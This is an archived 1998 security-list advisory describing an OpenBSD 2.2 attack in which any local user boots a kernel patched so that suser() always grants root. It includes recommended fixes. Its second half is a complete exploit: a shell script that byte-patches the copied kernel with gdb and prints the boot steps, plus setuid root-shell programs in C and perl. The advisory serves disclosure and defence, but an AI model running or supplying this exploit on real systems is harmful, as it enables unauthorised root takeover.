X-RDate: Wed, 15 Apr 1998 11:16:26 +0600 (YEKST)
X-UIDL: 35317d340000002a
Date: Tue, 14 Apr 1998 02:47:58 -0700
From: Peter Shipley <shipley@DIS.ORG.>
To: [email protected]Subject: obsd boot hack (boot-modified-kernel-attack)
It is possible to get root access on a OpenBSD system from console
with out password, floppy or single user boot access.
OpenBSD's boot loader will load any kernel in the UFS file system
this allowing the loading of compromised
kernels (aka: boot-modified-kernel-attack)
In short, BIOS boot and console restrictions are not enough.
Background:
While it is known that super user access is achievable from
console by booting an "install" or "fixit" floppy. This can be
inhibited by removing the floppy drive and/or disabling floppy
boot in the BIOS.
Another method of achieving super user access is by booting
the system in "single user mode" (with kernel boot option "-s").
Again, this can be inhibited by marking/setting the console as
an insecure terminal. Thus requiring a root password to boot
in single user mode and thus blocking direct root login in
multi-user mode.
How it works:
The attach script copies the /bsd kernel to /var/tmp and then
patches the copied kernel so the internel "suser()" function
always return zero (0). By inserting the following assembly
code
xorl %eax,%eax
leave
ret
This is equivalent to the code stub:
int suser() {
return(0);
}
The suser() is used by the kernel to test if the "calling" user
has super-user authority or not. A return value of zero (0)
indicates the the calling user is super-user any other value
(in this case EPERM) indicates a false/not-permitted value.
After the patch and kernel reload (reboot) all users have
super user privilege
Tested on:
OpenBSD 2.2 GENERIC#10 i386
Recommended fixes:
Very short term:
make the kernel /bsd not world readable and owned by the
group kmem
root# chmod 440 /bsd ; chgrp kmem /bsd
and create the file /etc/boot.conf and add a line
boot bsd
This will cause the system to automaticly boot and load
the /bsd kernel with out issueing the user the option to
load a alternitive kernel.
Note that this can make it diffucult to repair a damaged
system should the /bsd kernel become corrupted.
Long Term Fix:
The only real fix is to modify /boot to only load kernels
from the root directory and only load if owned by root and
not world readable. (note the latter is supported in the
boot source code as a unused compile time option) ref:
ftp://ftp.openbsd.org/pub/OpenBSD/src/sys/stand/boot/
Hardcore Fix:
compile password code into /boot and/or a hardcoded kernel path
It should be noted that anyone with hardware access and a screwdriver
can trivaly install a replacment HD and compromise the system by
mounting the other (original drive) thus physical security is always
an issue.
Linux systems using LILO to boot are not vulnerable although Sparc
Linux with SILO is vulnerable to a similar "boot-modified-kernel-attack"
unless they are utilize a boot a password in the /etc/silo.conf
configuration file.
(thanks to Jon Paul Nollmann <sinster@darkwater.com.> for Linux Q & A)
Thanks also to bifrost <bifrost@dis.org.> for much stuff
---
Peter Shipley <shipley@network-security.com.>
http://www.network-security.com / http://www.dis.org
copyright 1998 Pete Shipley
--- start mod_kern.sh ---
#!/bin/sh
# mod_kern.sh
# copyright 1998
# Written by Peter Shipley
# Mon Apr 13 02:20:29 PDT 1998
# you can use this as long as you do not sell or charge for it's use.
# developed on:
# OpenBSD crash 2.2 GENERIC#10 i386
# CPU 486DX2/66 w/ 16MRam
# this hack assumes /var/tmp is on the same files system as /
# if not you can still do this but it will take a few extra boot options
# this inserts the following asm into suser
#
# xorl %eax,%eax
# leave
# ret
#
# with makes suser equivalent to
#
# int suser() {
# return(0);
# }
#
# which will grant all users super-user privilege
#
/bin/cp /bsd /var/tmp/bsd
cat << 'EEOOFF' > /var/tmp/patch.gdb
set write on
exec-file bsd
file bsd
#
#disas suser
#print suser
#
set $rf = suser+6
set {char} $rf = 0x31
set $rf = $rf + 1
set {char} $rf = 0xc0
set $rf = $rf + 1
set {char} $rf = 0xc9
set $rf = $rf + 1
set {char} $rf = 0xc3
#
disas suser
EEOOFF
/usr/bin/gdb --batch --command=/var/tmp/patch.gdb
echo ""
echo ""
echo "ok now puch <reset> and and at the boot> prompt type:
echo " boot> boot /var/tmp/bsd"
echo "when the system finished booting you can gain root with"
echo "a simple C or perl program"
echo ""
echo ""
#perl:
#
# #!/usr/bin/perl
# $> = 0;
# $) = 0;
# exec "/bin/sh", "-i";
# die "$!";
exit 0
--- end mod_kern.sh ------ start rootsh.sh ---
/* cheap setuid code */
main()
{
char *shell = "/bin/csh";
setuid(0);
setgid(0);
execl(shell, shell, (char *)0);
perror("execl");
exit(0);
}
--- end rootsh.sh ---